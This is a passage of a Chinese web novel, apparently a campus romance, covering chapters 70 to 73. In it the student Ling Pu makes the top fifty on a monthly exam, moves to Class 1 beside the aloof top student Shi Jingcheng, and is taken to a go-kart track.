眉目浅浅弯起,由小口转为大快朵颐,脸颊未褪的婴儿肥随着“嚼嚼嚼”的动作变得明显。 愉悦的表情和小时候吃东西时一模一样,简直是放大缩小版。 吃得太投入,奶油粘在红润的唇上,舌尖一抿就吃进去。 “好好地吃。”时璟承皱眉提醒。 凌蒲也皱眉。 管得真多。 在强大势力的威逼之下,他又多做了一张英语试卷,几道物理和化学题,终于刑满释放。 从未想过晚自习竟然这样长,能做这么多事情。 走出校门,望着沉沉的夜色,凌蒲回忆起了多日前那个十点半下晚自习的遥远晚上。 着实精疲力竭,拿出手机,默默点开打车软件。 还没来得及下单,忽然“嗖”一声,在安静的街道上,一辆车稳稳停在他面前。 “不是我叫的车。”凌蒲摆手,他还没有叫网约车。 又多瞅了一眼,觉得车标长得很小众,奇形怪状的。 后座车门自动打开,车内一片静谧空间,灯光偏暗,却流动着隐隐光彩。 不属于网约车的高级感。 “上来。” 里面竟然坐着时璟承。 “不用了。”凌蒲婉拒。 “如果你出事,我要负连带责任。”时璟承不欲与他多废话,“你自己上还是找人帮你上。” “那好吧。” 司机回头和蔼地笑笑:“这是第一次见到小少爷带其他同学呢。” 以前都是和一个成姓朋友一起玩。 时璟承黑脸:“别这样叫我。” 凌蒲幻视某霸总剧,莫名觉得熟悉。 “小同学家在哪里?”司机问。 “在”凌蒲正欲开口,忽然机警,报了隔壁小区的名字。 司机不疑有他,应道:“好的。” 前面隔板缓缓升起,他一动不动,目视前方,坐姿比上课还要端正。 整个车里也弥漫着淡淡的香,和时璟承身上的是同一种类别,闻起来很特别,但应该有些区别。 隐隐听到有细小的电流声音,凌蒲也不敢回头。直到有什么戳了他一下,惊恐地转过头,发现座椅竟然有按摩功能。 他不敢造次,又朝前坐了坐,给座椅留出空间。 时璟承有点无语地看着这一串举动。 伸手在车顶敲了一下,轻轻的一声“咚”,让凌蒲吓一跳。 抬头看了看,发现车顶竟然有星星,在偏暗的环境里格外明亮,一颗连着一颗,竟然在不大的车顶面积内显得挺壮观。 震惊地仰着脸半天,脖子酸了才低下来,继续端坐,转头看着路,确认是朝他家的方向走。 “这么害怕?”时璟承倚在座位上,搭着手,“觉得我会把你怎么样?” 凌蒲不说。 “没事。实话实说,别有误解。” 凌蒲打量他一眼,只得说:“说不准。像是无恶不作的资本主义。” 时璟承抬眸。 “有误解吗?”凌蒲忐忑。 “没有。”时璟承冷脸,“考不到的话就等着被鲨掉吧。” 摸出手机:“请付打车费。” 凌蒲家离学校并不远,很快就到达了目的地。 凌蒲也拿手机:“你真有赚钱头脑。” 原来有钱人的钱是这么来的,给他接上顺风车了。 不过这没有问题,他也没有多说:“你打开收款码。” 时璟承生疏地点开账户页面,点了几下,没有找到什么收款码。 “找不到吗?”凌蒲热心地凑上去,出于骨子里善良与乐于助人的本能。 被余额震了一下,又弹回去。 “你找。”时璟承懒得再花时间,把手机塞给凌蒲。 “我刚刚不是有意看的。” “钱都是这么来的。快付。” 凌蒲吭哧吭哧替他打开收款码,拿过自己的手机一扫,准备输入金额:“多少钱。” 时璟承看到支付码下方跳出了昵称,是一个小粽子表情,显示“对方正在付款”。 他盯着那个小粽子表情,不说话。 “多少钱呀。” “15。” “还挺良心价。”凌蒲改观,给他扫过去。 摸索一番打开车门,一溜烟地朝陌生小区走。等身后的车声逐渐远离,才把帽子一戴,悄悄前往自己的家。 * 这种紧锣密鼓的高压学习地持续一礼拜,凌蒲觉得已经彻底燃尽。 他在之前的学校晚自习还能看课外书摸会儿鱼,在这里反而更加辛苦。 为什么会有这样倒霉的事情。 钱芷心疼地摸摸他的脸:“怎么瘦了?学习压力这么大吗?” “没有。”凌蒲摇头,默默咽下面包与伤心。 再来口牛奶。 “你的新校服已经洗完晾干了,今天穿着去上学吧。” 凌蒲之前穿着t恤当了一周半的法外狂徒,每次看到查校服的三道杠同学总是积极对视。 现在的感觉如同戴上金箍,之后的每天也得被列入检查校服之列了。 他对着镜子照照,蓝白色稍显宽大,不过比之前学校那身要好看不少,散发着淡淡的洗衣液的清香。 他整理整理发型,抓了抓,还是很帅气的。 “校服都比你自己衣服好看。”钱芷路过。 “妈。不要再攻击我的衣服了。” “这样也好,可以让你以学习为主,大学你就知道收拾了。”钱芷把书包递给他,“今天要月考了是不?” 凌蒲扬上去的嘴角瞬间垮下来,昨晚好不容易做一晚上心理建设让自己生死看淡,瞬间又悲伤了。 月考,宛如一把悬在头顶的利剑,即将接受审判。 他郑重地看了看钱芷,拥抱:“妈,我爱你。” “你又抽什么风?” 又朝旁边喝茶看国际新闻的凌逸飞张开手:“爸” “免了。”凌逸飞看他一眼,“怎么了这是?从小到大考不好也没打过你吧,放轻松。” 凌蒲望着凌逸飞,想象在几天之后因为错过这个拥抱而后悔。 他书包一甩,来到学校。 “呦,新皮肤?”宋昭远远地看到他,“你这样忽然帅多了。” “谢谢,你也是。黑框眼镜很有品味。” “懂我。不过我预感月考之后你就要离我而去了,相当不舍啊。”宋昭稍稍踮脚,搂住凌蒲的肩膀。 “何出此言。”凌蒲心里有事儿,琢磨这话有点不祥之兆。 “你本来就是暂时在我们班的,每次课堂小测那么高,至少也是二班。” 凌蒲沉默地看着远处时璟承的身影,这人在校园里总是如此显眼。现在他已经放弃挣扎,随心所欲上下学,遇到的几率还是挺高。 对方似乎也看到了他,目光停留两秒,挪到旁边的宋昭身上,不在意地看向别处。 就像那种对待路人小蚂蚁和小树的神情。 凌蒲回答宋昭:“这个不在选项里,可能只有1班和消失两个选项。” 宋昭被他的决心感动,拍拍他的肩膀:“你一定会成功的!不管在哪个班,兄弟情义不变。” 带着祝福,凌蒲在考场上奋笔疾书。 高三第一次月考考察的内容全面而基础,好在之前时璟承让他做的试卷查漏补缺,没有什么遗落的知识点。 考完之后觉得勉强能苟活,不过为了以防意外,他还是在半天假里吃了顿好的。 狠狠奢侈一把,把想吃的想喝的都点上,插了一排吸管,摆了一串盘子。 一边翘腿玩游戏,一边美美地挨个临幸。 结果就是被钱芷和凌逸飞制裁,扣了两周零花钱。 “身外之物。”凌蒲淡定。 “你这心态真值得学习。” 手机里传来程益添的声音,今天也是他们半天月假,于是两人此刻的身份是队友。 “朝后走走,我怕误伤到你。” “哇塞,可以啊凌蒲,太酷了。”程益添夸赞,又问,“杀手那事怎么样了,什么叫等两天才知道他鲨不鲨你?” “就是月考出成绩那天啊,他要看我考没考到前五十,考不到的话就出手。” “没事,拖到国庆。我们有足足三天假,到时候帮你会会。” “算了吧,你来也只是送人头。实力悬殊。” “啥样的杀手啊这么可怕?彪形大汉吗,身高两米体重200,满脸横肉的狙击手?”程益添不服。 “不是。”凌蒲回忆一下,停顿,比较客观地评价道,“其实长得还蛮帅的。”《 》 70-80 第71章 月考放榜日。 全校前一百的名单都被公布在榜,从早自习就开始忙活。 由校长亲自监工,脸上笑呵呵,频频地满意点头。 凌蒲在楼上举着书,将一切尽收眼底。 但具体的字实在太小,远望像一串蚂蚁,恨不得有个高倍望远镜望上两眼。 早自习一下课,他稍微交了下作业,便立刻朝楼下出发。 到了楼下傻了眼,方才还空无一人的墙壁下已经站满了人,人头攒动,人山人海。 凌蒲只能看到红底上端写着大大的“喜报”,下面就是一个个后脑勺。 最前端的人看了还不肯走,全挤在一堆议论纷纷。紧挨着后面的人着急:”哥们儿,看完能不能让一下。“ “我还帮其他同学看呢,你排队去。” “早自习课间就五分钟,你看了别人看什么。” “先来后到,你不能下节课看?谁让来迟了。” “就光你急?大家不都急着看吗?” “说得像人命关天的大事一样,一次小月考而已。” “” 凌蒲默默站在最外面一圈,心想属实人命关天。他打量了一下卷心菜似的人群,目测再过几轮也到不了他。 只能抬手掐表,耐心看着时间一到,上课铃声响起。 人群作鸟雀散,他飞快上前,一目十行。 直接从上朝下开扫。第一眼—— 靠,时璟承考这么高。 他望着最上方的时璟承,目光忍不住上下逡巡,第二名叫沈庭赫,总分只差了七八分。 忍不住在心里帮他算。 如果语文再多一分,英语再多两分,数学不太难,应该五分没问题,其他选科再随便加个一两分,轻松超越时璟承。 小小走神一下,匆匆去看自己的排名。 一直到第一列扫完,前四十五名都没有,大惊失色。 吾命休矣。 赶快去下一列,忐忑地挨个字看,终于在47的位置找到了自己。 还是和排第48,49名同学并列,非常惊险。 劫后余生的淡淡释然包裹了他,无暇庆祝,先一溜烟跑回教学楼,悄悄潜入。 他在楼下自以为行动隐蔽,却忽略了来自高空的威胁,一切行动被楼上的人收入眼底。 榜的位置正对一班。 章飞回头拉窗帘的时候一惊:“什么东西窜过去了。” “傻子。”时璟承淡淡。 * 下午最后一节班会课之前,班主任赵佳莹把凌蒲叫到办公室,告诉他明天要去新的班级上课。 “这是你新班主任,任老师。” “你好,任展飞。” 看上去挺年轻的男老师,脸上挂着随和的笑。 旁边还有另一个准备转过去的同学,也站在旁边。 “一会儿赶在放学前把你们带过去,安排下座位。你们今天晚上就把书搬过去,明天正式上课,节奏肯定比之前班级快不少,积极适应。” 任展飞简练地说道。 赵佳莹拍拍凌蒲:“遇到事儿了和我说,你的事我还管。” 凌蒲非常感动:“谢谢老师。” 回到教室,宋昭从黑框眼镜中投射出不舍的神情,拿出一个精致的小熊摆件,上面也戴着黑框眼镜。 “我月考结束那天去买的,知道你一定会成功的。送给你。” 凌蒲郑重接过,羞愧:“我还没有给你准备什么。” “不用。”宋昭说,“要不你送支笔送给我吧,我会留作纪念的。” 凌蒲立刻打开笔袋,看着里面唯一一支笔,愣了一下。 这才想起那天和时璟承在自习室那一摔把笔都摔断墨了,这是在学校的黑心超市咬牙买的,原本想着一口气用完再去文具店细逛。 但场面都到这了,还说啥了。 “好!送给你。”凌蒲递出。 反正快放学了,到时候就立刻去文具店shopping。 前面苏颜杉也回过头,热烈凝望。 她送给凌蒲一块新橡皮:“我们都会记得你的。” 还没等凌蒲开口,她就抬手:“不用谢了。能否有个不情之请。” “可以的。”凌蒲一口答应。 “在必要时帮我们继续观察时璟承呗。”苏颜杉说,“主要确实是最近时璟承行动毫无规律,神出鬼没的,大家的精神食粮都没有了。不知道被什么迷惑,放着嗷嗷待哺的姐妹不顾。” 凌蒲听到这个名字一惊,不过他已经潜伏在群里“白嫖”人家了这么久,似乎也该做出贡献。 心存侥幸:“我的位置不一定离他近呢,会尽力的。” 他希望自己可以分到一个远远的位置。 这个学校的制度里只有升班而暂时不会降班,所以1班的人比他们班要多,一天课下来能不能见到一面都说不准的。 背着小书包来到1班,新的班主任任展飞正在开班会。 和方才随和的摸样判若两人,不怒自威,底下一片安静。 “以上就是班会内容,我们年龄差得没那么多,该活泼的时候一起活泼,但严肃的时候不要嬉皮笑脸。” 任展飞做了收尾,转头示意外面的凌蒲:“进来吧。这是另一位新转来的同学。” 班里议论纷纷。 “这个小帅哥竟然转来了。” “上次跳蚤市场被忽悠给他们班撑门面的那位吗,最后都被调戏跑了。” “太好了!”章飞和四周激动道,“这就是我说的请我喝奶茶的,人很好。” 时璟承抬起头。 看到凌蒲穿着身稍显宽松的蓝白校服,外套拉了三分之二,最上方的三分之一随意地散着,柔顺的头发经过一天课程的摧残也有些乱,只有这张脸最齐整。 白白净净,明眸皓齿,嘴唇红润。 凌蒲目不斜视,对着后黑板做自我介绍,试图忽视掉角落里可怕的视线。 “好的,谢谢凌蒲同学。”任展飞说道。 扫了一眼班级,有点为难:“刚刚另一位同学先来,现在空位就只剩下——” 众人纷纷回过头,凌蒲也跟着一起看向同一个方向,在时璟承的旁边。 空旷齐整干净的桌子,正虚位以待。 No。凌蒲在心里呐喊。 任展飞问:“时璟承,你愿意和新同学坐吗?” 这是上学期时璟承自己申请的,期末年级前十都可以提个要求,当时时璟承提了这个,任展飞不好食言。 凌蒲惊慌:“其实我可以搬一张桌子自己坐” “愿意。”时璟承不咸不淡,提笔继续写题。 全班投来的目光转为意外,没想到时璟承看上去冷淡,一副莫挨老子的样子,竟然还怪好说话的。 凌蒲不愿意。 非常不愿意。非常以及特别不愿意。 但任展飞已经转为了高兴的表情:“那太好了!凌同学,时璟承是我们班第一名,你坐在他旁边一起学习。之后班级人可能还会增加新成员,希望其他同学也都能像时璟承一样积极接纳。” 凌蒲怀揣着这份莫名的殊荣,龟速朝那个方向挪,一步三回头,但任展飞都没有收回成命的意思。 反而以目光鼓励,隐约透着慈祥。 凌蒲:“” 他把书包朝时璟承旁边轻轻放下,小心翼翼地拉开凳子。 想到了羊入虎口这个词。 “新转来的同学既然来了,一定要迅速投入学习状态,就从这节剩下的班会时间开始,跟随我们一起完成数学小练!”任展飞关闭掉班会的PPT,充满激情地说。 凌蒲便无暇管别的,立刻接过前面传来的小练。 好在桌面没什么灰尘,可以直接使用。 接着就开始找笔。 笔袋拉链一拉:“。” 空空如也,只有一块精致的橡皮安静躺在其中。凌蒲想起来自己已经十分性情地把最后一支笔送给了宋昭,现在一支笔都没有。 任展飞已然转过身,灼灼的目光扫向凌蒲这边。 凌蒲感到焦灼,仿佛被架在火上慢蒸,使劲儿在书包里翻找,希望能找到一支笔。 未果。 旁边时璟承低头写题,假装没有看到他。 凌蒲欲言又止好几次,终于小声开口:“能不能借我一支笔?” 时璟承仿佛刚从题海中抽身似的,看着他,挑眉。 示意再说一次。 “能不能借我——” 抬头的一瞬间凌蒲朝后让了下,没想到距离忽然这么近。 近看起来才发现每个五官竟然都像画出来似的,鼻梁高挺,眉毛不浓不淡,睫毛根根分明。 标准的明星长相,上镜肯定很抗打。 凌蒲眼睛一眨不眨,呆呆地凝望。 时璟承无语,随手抽了支笔丢给他。 讲台上任展飞用力咳嗽一声,凌蒲才回转注意力,拿起笔写小练。 一张还没写完,下课铃已然打响。 “剩下的回家当作业,放学吧。”任展飞宣布。 沉浸题海中的凌蒲抬头,习惯性地想伸个懒腰,还没完全舒展,又飞速缩回来。 还是惊动了旁边这座大佛。 “笔还我。”时璟承冷淡伸手。 “噢噢,好的。”凌蒲把笔盖上笔帽,恭敬呈上,“谢谢。” 时璟承又写了几笔,状似不经意地问道:“你的笔呢?” “还说呢,就上回摔那一下,全阵亡了。最近一直用一支笔,走之前宋昭和我告别,送他了。” 凌蒲坐在椅子上晃悠。 时璟承脸色一沉,伸手:“上一支也还我。” “哪一只?” “你咬了笔帽的那支,留下一排牙印还想用手擦掉。”时璟承冷静地描述当时。 “说得这么直白。”凌蒲无力地笑笑,“那不是牙印。我放家了。” 回去之后就立刻丢在那个存放节目碟片的箱子里,一并推入柜子最底层,逃避可怕的一切。 时璟承还伸着手,没有收回去的意思。 手指修长,毫无瑕疵,指甲也修剪得齐整,一看就是养尊处优的手,很适合弹钢琴,或者戴着戒指优雅地摇晃红酒杯。 此刻摊在凌蒲面前,执着。 “你自己说你的笔多得是。”凌蒲嘟哝。 “改变主意了。资本家的钱也不是风刮来的。” 时璟承不容置喙。 第72章 “真在家。除非你放学和我回家拿。”凌蒲顺口道。 他准备去原来的教室把东西搬过来,敷衍了时璟承一句。根据之前潜伏经验,今天时璟承放学后会在卡丁车场出现。 成深野一周去一回,时璟承两周去一回,很稳定。 凌蒲有恃无恐。 但事情并没有按照想象中发展,只听淡淡一个字:“行。” 面前的手收了回去。 凌蒲动作愣了一愣:“你放学没事?” “可以没有。” “可是我有点事其实。”凌蒲吞吞吐吐,“要去楼上搬东西,明天给你吧。” “不行。” 凌蒲转头欲开溜,感受到一阵阻力拉扯,回身一看,发现书包上的小狮子被时璟承捏在手里。 时璟承气定神闲,表情从容淡定,压根看不出来在做这样坏的事情。 他沉默,只能顺毛捋:“我去我原来班级,一起?” 时璟承打量他,用非常勉强的语气和神情,勉为其难地答应这个邀请。 此刻天色还没全黑。 落日余晖轻笼着教学楼,斜洒进走廊,仿佛缱绻的面纱。 栏杆上趴了一溜儿学生看晚霞,极目远眺,忽然凑成一小团地躁动起来。 “看,对面高三理科1班有俩帅哥。” “我去,教学楼应该给他俩磕一个,感觉档次都变高了。” “晚霞和帅哥真是绝配。” “不白来不白来,建议每个课间循环播放,感觉还能做三张试卷。” 凌蒲屡屡用余光瞄着始终落后他半个身位的时璟承,感觉自己像是被押送的犯人。 对于在社交场合从不冷场的他来说,这种沉默格外漫长。仿佛只能听见两人细微的脚步声,还有自己不安的心跳声。 忽然,一个宿命般的身影出现,仿佛带着金光。 是成深野!穿着国际学校校服,正埋头爬楼梯。 看起来格外亲切的特儿。 成深野上来时的表情颇带怨怼之气,直朝时璟承调侃:“消失一整周了吧,不知道的还以为外面有人了。” 接着,目光一转,看到旁边的凌蒲。 瞬间张嘴忘言,转为瞠目结舌,在两人之间打量,又渐渐加上一丝惊恐。表情多彩,变化层次相当丰富。 “你被他抓到了?” 凌蒲一脸倒霉表情,已经说明了一切。 两人交换眼神,尽在不言中。 凌蒲却后知后觉地揣摩一下成深野的话,理解成了不同的意思。 他趁机向时璟承建议;“是啊。放下仇恨立地成佛,你最近都没时间处理自己的事情。因小失大,被里面的人误会就不好了。” 他自认为此话说得十分有水平。结合之前的观察来看,时璟承像是那种有了漂亮女朋友却还沾花惹草不愿意负责惹得人家哭的花花公子,他巧妙暗示时璟承不要冷落太久,最终赔了夫人又折兵。 太有水平,堪比《红楼梦》薛宝钗借扇机带双敲。 却压根没被搭理。 时璟承抱臂打量成深野:“你早就知道他的存在?” 成深野后退半步,迅速否认:“不知道。” 站在时璟承身侧,与凌蒲保持距离,说道:“这不是一周都没怎么看到你,今天该一起去玩卡丁车了,特地来找你。” “我有事。你自己去。” “别啊。你的事就是我的事,一起解决完了再去不迟。您要解决什么事儿?” 时璟承微抬下颌,示意凌蒲方向。 于是成深野的目光随着时璟承的落到凌蒲身上。 在寂静中上下打量,有些犹豫:“是要解决他吗?” 凌蒲睁大眼睛。 特儿你变了。 “暂时不。”时璟承把前两个字咬得更重一些,“先上楼。” 成深野就稀里糊涂地跟着他俩上楼,来到凌蒲原来的班级。 放学之后人已经走得差不多,凌蒲来到他熟悉的位置上,目光不舍地摩挲着每一寸地方,象征着自由与轻松的生活,将一去不返。 当时只道是寻常。 “舍不得?” “嗯。”凌蒲实话实说。 时璟承对凌蒲的不舍之情十分不爽,一低头,正好看到桌面上放了个显眼的摆件。 一个戴黑框眼镜的小熊。 他眯起眼睛,一下就想起了经常和凌蒲待在一块的那个同学,也戴着副扎眼的黑框眼镜,和这个小摆件有些神似。 “两周感情就这么深?” “那是。”凌蒲拿起来,装进笔袋,“宋昭人很好的。” 这个名字。时璟承想起今天凌蒲提过,正是把笔送给了宋昭。 他面色不变:语气十分平静:“你和每个人都是这样相处吗,总是让别人对你念念不忘。” 这双充满欺骗性的眼睛和会说甜言蜜语的嘴巴究竟骗了多少人。 成深野在时璟承身后使眼色,示意凌蒲慎言。 但凌蒲没有get到:“对啊。” 这两个字一出,成深野决定放弃对凌蒲的救援。 时璟承说:“你确实很会‘应酬’。” “这不叫应酬,”凌蒲低着头把桌面上的东西仔细放进书包,“和好兄弟不算应酬,陌生人才算。” 时璟承冷笑。 说话间,凌蒲已经把东西全部收拾好,虽然开学才两周,但杂七杂八教材的各科教材和辅导书籍,还有试卷夹堆积在一起,高度也不容小觑。 他气沉丹田,试着全部抱起,未果。 “怎么这么重,我竟然抱不动。” 时璟承扫了眼凌蒲的手臂:“正常。目测你的体脂率高达18%,肌肉含量远远低于平均。这一下尝试完全多余。” “这能直接看出来体脂率?”凌蒲挺吃惊。 时璟承原本沉沉的脸色再次转为无语的表情。 成深野“扑哧”一声笑出声:“凌蒲,一头合格出栏肉猪的体脂率是15%-18%。他损你呢。” 时璟承冷冷地瞥他一眼,成深野收敛笑容。 凌蒲微微恼怒,然而敢怒而不敢言。他把书又挑挑捡捡,调整重量,挪出来一小堆,问时璟承:“你的体脂率优秀,能帮我拿一点吗?” 时璟承抬眼,配着抬起细微弧度的眉毛,满脸写着“你觉得可能吗”。 凌蒲撇撇嘴,转向成深野:“Dexter,帮帮我。” 时璟承眉毛放下来:“你叫他什么?” 成深野继续在后面疯狂使眼色,但凌蒲还是一无所知。 小小炫耀一下标准的发音,以证明自己今非昔比:“Dexter.” 字正腔圆。是英式与美式的完美碰撞,标准得即使放到联合国演讲上也可以胜任。 时璟承冷笑一声:“记得倒是挺清楚。记忆力都花在没用的事情上。” 成深野左右为难:“要不我还是先走吧。” “帮他吧,Dexter.”时璟承不咸不淡,重音落在后面的英文名上。 成深野汗毛都快立起来了,觉得情况十分诡异。后悔今天为什么非要跑这么一趟,不然早就已经在卡丁车赛车场里快乐奔驰。 “那行。” 他替凌蒲抱上剩下的书,不过是举手之劳。 几人正要离开,凌蒲一瞥,忽然看到自己为体育课买的羽毛球拍还在侧面搁着,转眼一看,三人里只有时璟承手里是空的。 “想都别想。”时璟承掷地有声。 “帮帮忙嘛。” 凌蒲搬着重重的书,在情急之下习惯性地说道,尾音拖长,再配上清脆的音色,像是一把小钩子。 “不可能。”时璟承是见过大场面的人,岿然不动。 凌蒲抬眼,水汪汪的眼睛直视时璟承,依然像散着星星的湖泊,明亮依旧。 “” 半分钟之后,时璟承冷脸拿着羽毛球拍和球筒,走在走廊里。 “你俩现在同桌?”成深野更震惊。 他同情地看了凌蒲一眼,以他对时璟承的了解,绝对攒着什么很坏的报复手段。 可怜的凌蒲如同一只无知的小羊羔,即将被玩弄于股掌之间。 他们来到1班教室,只是路过一下就莫名成为搬运工的成深野放下书,问时璟承:“璟承,所以你今晚还去卡丁车不?不去我自己去了。” “去。”时璟承把羽毛球拍撂在凌蒲桌上,一锤定音。 听到这个字,凌蒲比成深野高兴。 “你们好好玩。我继续在这里收拾桌子。”他衷心发出祝福,把零碎的小东西一件一件摆在桌上,布置自己安身的新空间。 在洞潭虎穴边上,就更要建造一个适宜的地方。 时璟承扫了一眼,那个带黑框眼镜的小熊继续被放在凌蒲的桌角,搁在两人之间。 “你一起去。”他告诉凌蒲。 “啊?不用了,我有事。”凌蒲婉拒,“而且我没有玩过卡丁车,那是什么,需要驾照吗?改天吧,真不好意思。” 直到像只小鸡似的被押出教室,凌蒲才意识到这只是一个通知。 今天时璟承周身的气压似乎比平常要低一些,不知道谁惹着他了。凌蒲有种随时要被做掉的感觉,不敢忤逆太过。 凌蒲似乎找到了一些规律。 他背着小书包,跟在时璟承和成深野后面,心里不由自主地规划起逃跑的路线。 应该趁两人不注意撒开腿奔跑,到校门外面之后拦截一辆出租车,司机可以带着他一路狂飙,到达最近的高铁站,然后高铁载着他飞驰而去——不对,高铁太慢了。司机带着他一路狂飙到飞机场,飞机带着他自由翱翔于天地。 降落在南半球一个无人认识的小城里,最好连电视都不要有,没人看过那个该死的节目。从此海阔凭鱼跃,天高任鸟飞 “快点。”时璟承放慢脚步,瞥一眼越落越远的凌蒲。 “好吧。” 凌蒲加快一点步伐。 “一小时。之后送你回家拿笔。” “哦。”凌蒲点头。 等一下。他忽然想起来上回报的地址是隔壁小区。 “明早给你吗?” 看到凌蒲有点惊慌的神情,时璟承通知他:“我在楼下等你。你最好能拿出来。” 第73章 卡丁车场馆。 凌蒲默默跟着那两人。 虽说整体不情不愿,但耳边不时传来的巨大引擎轰鸣声和轮胎摩擦地面的尖啸声,充斥着感官,心脏的跳动还是加速了些。 任何一个十七八岁的男生都抵抗不了这样的诱惑。 “晚上好。” 成深野显然是这里的常客,一进来就宾至如归地把招呼打了个遍。 门口迎接的人也熟稔地接过成深野手里的书包:“成少,时先生也来了?” 时璟承不喜欢别人叫他时少,最终就有了这么个正式的称呼。 听到这句话,原本坐在沙发上玩手机的一排教练也转过头。 “这位是——”看着后面新出现的凌蒲,一时摸不着头脑是哪位人物。 “同学,他来等我们。”成深野回答。 “噢噢。一起进来吧。以前没见带过什么人来。” 目光落在凌蒲身上打量几圈,觉得他气质看起来像个新手。 成深野轻车熟路地去拿头盔,问时璟承:“你今天玩不玩?别又在观众席做题。” “嗯。” 成深野翻找一下标签,把头盔扔给他,又偏了偏头,示意凌蒲:“他呢?以前没学过,上不了场。” 虽说卡丁车不用驾照,但真正能够在赛道上奔驰还是需要一定时间,放学之后时间短,跑两圈就回去了。 “再拿个头盔。”时璟承说。 成深野便拎了个普通白色的公共头盔,丢过去。 “所以你这一周没出现,都是蹲他去了?”更衣室里,成深野把手机从口袋里拿出来,塞进柜子。 时璟承摘下手腕上的手表,一边放进去一边瞥了成深野一眼。 成深野笑道:”我真就比你早几天发现他。看着白白净净一个,谁都心软。小时候圆圆的,没想到长大倒是这个风格,是不?” “没注意。不感兴趣。”时璟承推上柜门。 到头盔架子上停留一下,把白的放回去。 “凌先生,您就坐在这里看吧。” 另一边,有人带着凌蒲来到观众席位,第一排的位置。 虽然不是正式比赛,但也有不少人来看热闹,坐了三两排。 凌蒲默默在角落待着,极目远眺,观察一番场地,后面议论声飘进耳朵。 “你听没听说,时少今天带了个人来。” “带人来了?女孩吗?” “不是。是个小男生,和他年纪差不多,应该是同学吧。” “” 时璟承真是在哪儿都是人群焦点。 凌蒲默默降低自己的存在感。 第一排视野极佳,卡丁车几乎停在他面前,能够清晰地看到成深野和时璟承。 和想象中那种碰碰车不同,竟然还挺酷。而且时璟承的车比人家的高级一些,整体漆面黑色中呈现出点流光溢彩,上面写着大大的“17号”。 两人都换上了赛车服走出来,拿着头盔。 凌蒲震惊地望着。和平常在学校里穿校服的样子截然不同,都酷炫了很多。 尤其是时璟承,身上穿着黑白相间的赛车服,比例特别优越,手里拎着头盔,戴上,漫不经心地朝观众席看了眼,才伸手把镜片放下来。 突然被对视的凌蒲都没反应过来,对方就已经转身跨上车,他的脑海里延迟地留下那一眼高挺的鼻梁和深邃的眉目。 身后观众非常激动,拿起手机拍个不停。 凌蒲用手指轻轻蹭了下裤子,缓解一瞬间的紧张感。他不知道对方下一步对他有什么计划,感受到了重重的压迫感。 世界安静了好几秒,才重新听到声音。依然是嘈杂的谈论,话题中心围绕着时璟承和成深野。 “那个是成铭的儿子吧,星二代,经常过来。” “倒是好像好久没见到时璟承了,没想到今天能来。” “有进步,头一次看到他和观众席的互动环节。” “这辆车是真帅,好像是他哥送他的十七岁礼物。” “这么阔绰?” “” 接着那两台卡丁车一前一后地发动,呼啸声压过人声,车灯亮起。 凌蒲看到属于时璟承的十七号很快就领先成深野一些,转弯时漂亮的漂移,将其他车完全甩在后面。 飞驰起来的速度仿佛带着光影,随着赛道转弯。不过眨眼间,就一前一后驶过终点。 凌蒲的眼睛睁得圆圆。 完全没做好准备观看这样一场比赛,感觉肾上腺素在飙升。 成深野摘下头盔,稍稍平复呼吸,走过去问时璟承:“今天怎么开这么快?你不是说这个除了装逼没什么意思吗?” 时璟承每次都会让着成深野,偶尔玩一把也悠悠哉哉的。倒不是多谦逊,就是不怎么在意排名。 说是等着十八岁就立刻考赛车驾照,低配版不好玩。 “确实。”时璟承点头,也摘下头盔,头发微微凌乱。 他淡定地随手拨一下,露出清晰的眉目。 “”成深野有被他装到。 “歇会。我去问点事。” 时璟承边走边拉开赛车服的拉链,朝场边的教练走过去。 天色已晚,赛道周围一圈的灯“唰唰”亮起,绵延出耀眼的夜景。 手机“嗡嗡”作响声让给凌蒲回神,摸出来一看,是那个活跃的群聊。 有群友问今天有没有人去赛车场看时璟承,又已经刷出了一长串。 【不知道他去没去啊,感觉这两天好像又恢复了之前的行踪】 【今晚作业太多了没去,主要他总是不上场】 【有没有人来点图啊,精神断粮好久了】 凌蒲这才想起苏颜杉布置的任务。懊悔没给群友出图,这随手一拍都是很高质量的。 于是趁着距离近,俯身趴上栏杆,喊道:“时璟承。” 时璟承抬起头。 “你再玩一圈吧。” 凌蒲探出半个身子低头,上方是明亮的路灯,逆着光,垂落的发丝仿佛变成透明。 他眼睛明亮,语气和神态都充满期待。 时璟承脱赛车服的动作顿了顿,先朝他招了下手:“你下来。” 凌蒲看他气定神闲的动作,在那一瞬间几乎有种跳下去能被接住的错觉。 但很快就回神,转头下楼梯。 “去里面看吗?”凌蒲认为会有什么更加近距离的内场,跟着时璟承一路朝里走。 时璟承站定和教练交谈,他就在后面左右张望,一切都充满新奇。 这里的人都酷酷的,仿佛带着一种劲儿,是平常在学校和马路上看不到的鲜活。 一个长发姐姐穿着赛车服,利落地把头发一扎一盘,抱着头盔出门,察觉到凌蒲的目光,朝他点点头,做了个飞吻动作。 被抓包的凌蒲也赶紧点头,微微羞涩。 没来得及羞涩太久,一转头就发现时璟承不见了。 独自被丢在这里的凌蒲感到慌乱,好在时璟承很快出现,虽然脸色沉沉,但还是如同救命稻草一般,凌蒲飞快跟上。 时璟承塞了个头盔到他手里,凌蒲恭敬地接过,如同皇上身边小太监似地捧着。 “戴上。”时璟承说。 “?” 凌蒲低下头,发现这是个崭新的头盔。底色是天蓝色,画着海绵宝宝图案,和其他人那种酷帅的风格完全不同,像儿童版,不过大小倒是符合常规。 “我戴干什么?里面很危险吗?”他以为是进入场内都需要戴着头盔,以确保安全。 时璟承并没有正面回答:“这种幼稚愚蠢的卡通图案不就是你的风格?” 已经被误解很多次,凌蒲心平气和:“这不是卡通图案。每一个都有他们的名字,比如这是海绵宝宝。” 他指给时璟承看。 “海底有海绵宝宝吗?”时璟承忽然问。 凌蒲愣了一下,先是觉得时璟承问出这样的问题带着种诡异的荒谬。但眨了眨眼睛,忽然产生一种莫名的熟悉感。 时璟承没再多说什么,一路走进卡丁车场,凌蒲慌忙跟随。 一辆比其他卡丁车都要宽的车朝着他们行驶而来,恰恰停在正前面。刚才的教练开门从上面下来,拉开两边车门。 凌蒲才发现这是辆双人车。 “你得戴头盔上来。”教练示意。 “我吗?” 被选中的凌蒲左右四处张望,没发现其他人。这也太突然了,他还没有想好要不要玩,对于从小过着两点一线普通学生生活的凌蒲来说,这实在是太超过了。 “不会戴?第一次玩确实有点复杂。” 教练是个爽朗的热心大哥,拿过凌蒲手里的头盔,撑住下方开口,动作利落地往他脑袋上一套,一旋,精准降落。 凌蒲都没有反应过来,就觉得头上一重,多了个东西。 底下卡扣还敞着,随风轻轻摇晃,如同凌蒲此刻的心情。 